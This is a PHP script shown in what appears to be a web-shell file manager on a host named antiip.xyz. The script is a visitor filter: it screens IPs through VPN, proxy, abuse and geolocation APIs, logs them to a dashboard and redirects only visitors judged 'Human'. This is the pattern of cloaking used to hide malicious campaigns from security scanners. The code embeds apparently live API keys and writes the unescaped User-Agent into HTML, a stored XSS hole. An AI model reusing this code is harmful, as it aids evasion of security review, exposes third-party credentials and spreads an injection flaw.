File manager - Edit - /home/infoilmg/antiip.xyz/new/index.php
Back
<?php // إعدادات API $redirect_url = "https://www.google.com/search?q=temailpro&oq=temailpro"; // رابط إعادة التوجيه عند السماح $api_keys = [ 'vpnapi' => "bba3892f06b54d28be59ae147fc8814e", 'iphub' => "Mjc3NzI6dVV6WEZPQk5CVVZQeXhPV2oyUVZOWkVxcTA4MTlSd0k=", 'abuseipdb' => "1551dad95347771162f6d1ac33fe89a106935ad9645292336fbad3bbdbf0467eed788ebec2ca0219", 'scananalytics' => "0adb5c090ec8436e37a1e5033fa2c454af300414a8a63ed49a7ce3eea7d483e0" // API Key لـ scananalytics ]; // قائمة الدول المسموح بها $allowed_countries = ['lk','LK','it','IT','AS','as','AX','ax','AR','ar','AM','am','AW','aw','AU','au','AT','at','BS','bs','BH','bh','BY','by','BE','be','BQ','bq','BW','bw','BV','bv','BR','br','IO','io','BG','bg','CA','ca','KY','ky','CL','cl','CN','cn','CX','cx','CC','cc','CK','ck','CR','cr','HR','hr','CY','cy','CZ','cz','DK','dk','DM','dm','SV','sv','EE','ee','FK','fk','FO','fo','FI','fi','FR','fr','GE','ge','DE','de','GR','gr','GL','gl','HM','hm','HK','hk','HU','hu','IS','is','IN','in','IE','ie','IL','il','JP','jp','KP','kp','KR','kr','LV','lv','LI','li','LT','lt','LU','lu','MT','mt','FM','fm','NL','nl','AN','an','NZ','nz','NF','nf','MP','mp','NO','no','PA','pa','PY','py','PE','pe','PL','pl','PT','pt','QA','qa','RO','ro','RU','ru','BL','bl','SM','sm','SA','sa','SG','sg','SK','sk','SI','si','SB','sb','ZA','za','GS','gs','ES','es','SR','sr','SZ','sz','CH','ch','TW','tw','TH','th','TR','tr','TC','tc','UA','ua','AE','ae','GB','gb','US','us','UM','um','VG','vg','VI','vi','CO','co','SE','se','EG','eg','NG','ng','ID','id','DO','do','MX','mx','PK','pk','NI','ni','EC','ec','JM','jm','VE','ve','AZ','az','GB','gb','BD','bd','MY','my','IQ','iq','PH','ph','KW','kw','VN','vn','MM','mm','OM','om','AL','al','TT','tt','RE','re','KE','ke','JO','jo','NP','np','CS','cs','MZ','mz','PS','ps','TG','tg','ZM','zm','RS','rs','ML','ml','TZ','tz','UZ','uz','US','us','CI','ci','MK','mk','BF','bf','BJ','bj','GP','gp','BA','ba','MQ','mq','GF','gf','CV','cv','UY','uy','AD','ad','CW','cw','BO','bo','GU','gu','BB','bb','MD','md','GA','ga','TN','tn','MN','mn','MA','ma','IR','ir','BN','bn','LA','la','KZ','kz','BD','bd','IN','in','HN','hn','RW','rw','KH','kh','LY','ly','DZ','dz','GH','gh']; // أمثلة $visitor_ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $current_time = date("Y-m-d H:i:s"); // دالة لجلب بيانات API function fetch_api_data($url, $headers = []) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } $response = curl_exec($ch); curl_close($ch); return json_decode($response, true); } // التحقق باستخدام VPNAPI.io $vpn_data = fetch_api_data("https://vpnapi.io/api/$visitor_ip?key=" . $api_keys['vpnapi']); $is_vpn = $vpn_data['security']['vpn'] ?? false; $is_proxy = $vpn_data['security']['proxy'] ?? false; $is_tor = $vpn_data['security']['tor'] ?? false; $is_hosting = $vpn_data['security']['relay'] ?? false; // التحقق من iphub $iphub_data = fetch_api_data("http://v2.api.iphub.info/ip/$visitor_ip", ["X-Key: " . $api_keys['iphub']]); $is_iphub_blocked = ($iphub_data['block'] ?? 0) == 1; // التحقق من الدولة $ipinfo_data = fetch_api_data("https://ipinfo.io/$visitor_ip/json"); $country_code = $ipinfo_data['country'] ?? 'UNKNOWN'; // بديل في حال فشل ipinfo if ($country_code === 'UNKNOWN') { $ipapi_data = fetch_api_data("http://ip-api.com/json/$visitor_ip"); $country_code = $ipapi_data['countryCode'] ?? 'UNKNOWN'; } // التحقق عبر scananalytics API $scananalytics_data = fetch_api_data("https://api.scananalytics.com/v1/scan/ip/$visitor_ip", [ "Authorization: Bearer " . $api_keys['scananalytics'] ]); $is_scananalytics_blocked = $scananalytics_data['data']['blocked'] ?? false; // Assuming the API returns a 'blocked' flag // تحديد العلم $flag_url = "https://flagcdn.com/w40/" . strtolower($country_code) . ".png"; // التحقق من الدولة $is_country_allowed = in_array(strtoupper($country_code), $allowed_countries); // التحقق من الحظر من AbuseIPDB function check_abuseipdb($ip, $api_key) { $url = "https://api.abuseipdb.com/api/v2/check?ipAddress=$ip"; $headers = ["Key: $api_key", "Accept: application/json"]; $data = fetch_api_data($url, $headers); return isset($data['data']['abuseConfidenceScore']) && $data['data']['abuseConfidenceScore'] > 50; } $is_abuse = check_abuseipdb($visitor_ip, $api_keys['abuseipdb']); // تحديد الحالة $status = ''; $status_color = ''; if (!$is_country_allowed) { $status = "Country Denied"; $status_color = "style='color: #8e44ad;font-weight:bold;'"; } elseif ($is_vpn || $is_proxy || $is_tor || $is_hosting || $is_iphub_blocked || $is_abuse || $is_scananalytics_blocked) { $status = "VPN/BOT"; $status_color = "style='color:red;font-weight:bold;'"; } else { $status = "Human"; $status_color = "style='color:green;font-weight:bold;'"; } // إنشاء صف جديد $new_row = " <tr> <td><img class='flag' src='$flag_url' alt='Flag'> $visitor_ip</td> <td $status_color>$status</td> <td>$user_agent</td> <td>$current_time</td> </tr>"; // إنشاء أو تحديث الملف dashboard.html $dashbord_file = 'dashbord.html'; if (!file_exists($dashbord_file)) { $html_content = " <!DOCTYPE html> <html lang='en'> <head> <meta charset='UTF-8'> <meta name='viewport' content='width=device-width, initial-scale=1.0'> <title>IP Dashboard</title> <link rel='stylesheet' href='https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css'> <style> .table { width: 100%; margin-top: 20px; } th, td { text-align: center; padding: 10px;color:white } .flag { width: 25px; margin-right: 8px; } body{background-color: black;} h4, h5{color:white} #total-visits { color: #00FF00; /* لون أخضر للفاتح */ font-weight: bold; } #unique-ips { color: #FFFF00; /* لون أصفر للفاتح */ font-weight: bold; } .stats-container { display: flex; /* استخدام flex لجعل العناصر في سطر واحد */ justify-content: center; /* لتوسيط العناصر في الصفحة */ gap: 20px; /* المسافة بين العناصر */ margin: 20px 0; } </style> </head> <body > <div class='container'> <h4 class='text-center my-4'>IP Visitor Dashboard</h4> <div class='text-center'> <div class='stats-container'> <h5>Total Visits: <span id='total-visits'>0</span></h5> <h5>Unique IPs: <span id='unique-ips'>0</span></h5> </div></div> <table class='table table-bordered'> <thead> <tr> <th>IP Address</th> <th>Status</th> <th>User Agent</th> <th>Checked At</th> </tr> </thead> <tbody> $new_row </tbody> </table> </div> <script> // إضافة عدد الزيارات والـ IP الفريدة window.onload = function() { let totalVisits = document.querySelectorAll('tbody tr').length; let uniqueIps = new Set(); document.querySelectorAll('tbody tr').forEach(function(row) { let ip = row.cells[0].textContent.split(' ')[1]; // الحصول على الإيبي uniqueIps.add(ip); }); document.getElementById('total-visits').textContent = totalVisits; document.getElementById('unique-ips').textContent = uniqueIps.size; }; </script> </body> </html>"; file_put_contents($dashbord_file, $html_content); } else { // أضف الصف إلى جدول موجود فقط دون تكرار الأعمدة $existing = file_get_contents($dashbord_file); // استخدام تعبيرات عادية للبحث عن tbody preg_match('/<tbody>(.*?)<\/tbody>/s', $existing, $matches); // إضافة الصف الجديد إلى محتويات tbody $tbody_content = $matches[1] . $new_row; // تحديث الملف مع tbody المحدث $updated = preg_replace('/<tbody>.*?<\/tbody>/s', "<tbody>$tbody_content</tbody>", $existing); file_put_contents($dashbord_file, $updated); } // إعادة التوجيه إن كان Human if ($status === "Human") { header("Location: $redirect_url"); exit; } ?>
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 7.9 |
proxy
|
phpinfo
|
Settings